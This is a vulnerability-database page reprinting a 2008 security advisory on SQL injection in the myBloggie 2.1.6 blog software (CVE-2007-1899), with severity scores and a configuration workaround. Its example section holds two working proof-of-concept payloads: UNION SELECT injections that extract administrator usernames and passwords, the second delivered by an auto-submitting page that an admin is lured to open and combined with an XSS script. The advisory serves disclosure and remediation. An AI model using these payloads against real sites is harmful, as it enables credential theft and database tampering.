myBloggie 2.1.6 - Multiple Remote SQL Injection Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

myBloggie 2.1.6 Multiple Remote SQL Injection Vulnerabilities. Blog system using PHP & MySQL, susceptible to SQL injection, allowing attackers to execute their own scripts, access sensitive data, and modify database content

Reporter	Title	Published	Views	Family All 12
0day.today	myBloggie 2.1.6 Multiple Remote SQL Injection Vulnerabilities	30 Jun 200800:00	–	zdt
Circl	CVE-2007-1899	30 Jun 200800:00	–	circl
CVE	CVE-2007-1899	9 Jul 200800:00	–	cve
Cvelist	CVE-2007-1899	9 Jul 200800:00	–	cvelist
Exploit DB	MyBloggie 2.1.6 - Multiple SQL Injections	30 Jun 200800:00	–	exploitdb
EUVD	EUVD-2007-1893	7 Oct 202500:30	–	euvd
exploitpack	MyBloggie 2.1.6 - Multiple SQL Injections	30 Jun 200800:00	–	exploitpack
NVD	CVE-2007-1899	9 Jul 200800:41	–	nvd
Packet Storm	mybloggie-sql.txt	1 Jul 200800:00	–	packetstorm
Prion	Sql injection	9 Jul 200800:41	–	prion


                                                netVigilance Security Advisory #40

myBloggie version 2.1.6 Multiple SQL Injection Vulnerability
Description:
myBloggie (http://mywebland.com/mybloggie/) is considered one of the 
most simple, user-friendliest yet packed with features Weblog system 
available to date. Built using PHP & mySQL, web most popular scripting 
language & database system enable myBloggie to be installed in any 
webservers.
A security problem in the product allows attackers to commit SQL injection.
External References:
Mitre CVE: CVE-2007-1899 
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1899
NVD NIST: CVE-2007-1899 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-1899
OSVDB:

Summary:
myBloggie is weblog system built using PHP & mySQL, the webs most 
popular scripting language & database system which enable myBloggie to 
be installed in any webserver.

Successful exploitation requires PHP magic_quotes_gpc set to Off and 
register_globals set to “On”.
Advisory URL:
http://www.netvigilance.com/advisory0040

Release Date: June 30th 2008

Severity/Risk: Medium

CVSS 2.0 Metrics
Access Vector: Network
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: Partial
Integrity Impact: Partial
Availability Impact: Partial
CVSS 2.0 Base Score: 5.1

Target Distribution on Internet: Low

Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated

Vulnerability Impact: Attack
Host Impact: SQL Injection.

SecureScout Testcase ID: TC 17969

Vulnerable Systems:
myBloggie version 2.1.6

Vulnerability Type:
SQL injection allows malicious people to execute their own SQL scripts. 
This could be exploited to obtain sensitive data, modify database 
contents or acquire administrator’s privileges.

Vendor:
myWebland (http://mywebland.com/)

Vendor Status:
The Vendor has been notified April 9th 2007, but did not respond.
Workaround:
In the php.ini file set magic_quotes_gpc = On and/or register_globals=Off

Example:

SQL Injection Vulnerability 1:
Create html file with the next content:
&#60;html&#62;
&#60;body&#62;
&#60;form 
action=&#34;http://[TARGET]/[MYBLOGGIE-DIRECTORY]/index.php?mode=viewuser&#34; 
method=&#34;POST&#34;&#62;
&#60;input type=&#34;submit&#34; name=&#34;user_id&#34; value=&#34;1 #&#39; UNION SELECT 
CONCAT(`mb_user`.`user`,&#39; -&#62; &#39;,`mb_user`.`password`),1,1,1,1,1,1,1,1,1 
FROM `mb_user` /*&#34;&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

REQUEST:
Browse this file and click on the button
REPLY:
&#60;tr&#62;&#60;td colspan=&#34;3&#34; class=&#34;spacer6&#34;&#62;&#60;/td&#62;&#60;/tr&#62;
&#60;tr&#62;&#60;td&#62;&#60;/td&#62;&#60;td&#62;&#60;/td&#62;&#60;td align=&#34;right&#34;&#62;
&#60;span class=&#34;f10pxgrey&#34;&#62;Category : &#60;a class=&#34;std&#34; 
href=&#34;?mode=viewcat&amp;cat_id=1&#34;&#62;
[SQL INJECTION RESULT - ADMIN NAME] -&#62; [SQL INJECTION RESULT - ADMIN 
PASSWORD]&#60;/a&#62;
Posted By : &#60;b&#62;1&#60;/b&#62; | &#60;img src=&#34;./templates/aura/images/comment.gif&#34; 
alt=&#34;&#34; /&#62;
&#60;a class=&#34;std&#34; href=&#34;?mode=viewid&amp;post_id=1&#34;&#62;Comments&#60;/a&#62;[1] |
&#60;img src=&#34;./templates/aura/images/trackback.gif&#34; /&#62;

SQL Injection Vulnerability 2:

(SQL Injection + XSS Attack Vulnerability)
Create html file with the next content and place it for example on 
http://somedomain.com/file.html:
&#60;html&#62;
&#60;body onLoad=&#34;document.forms(0).submit();&#34;&#62;
&#60;form action=&#34; 
http://[TARGET]/[MYBLOGGIE-DIRECTORY]/admin.php?mode=edit&#34; 
method=&#34;POST&#34;&#62; &#60;input type=&#34;hidden&#34; name=&#34;post_id&#34; value=&#34;-1&#39; UNION 
SELECT 1,2, CONCAT(`mb_user`.`user`,&#39; -&#62; &#39;, `mb_user`.`password`), 
&#39;&#60;/textarea&#62;&#60;script&#62;alert(document.post.subject.value)&#60;/script&#62;&#39;, 5,6,7 
FROM `mb_user`#&#34;&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;
REQUEST:
Induce a Mybloggie admin to browse the malicious page.
http:// somedomain.com/file.html

REPLY:
Page containing username and password for Mybloggie admin account.


Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com

# milw0rm.com [2008-06-30]

01 Jul 2014 00:00Current

0.2Low risk

Vulners AI Score0.2

EPSS0.00485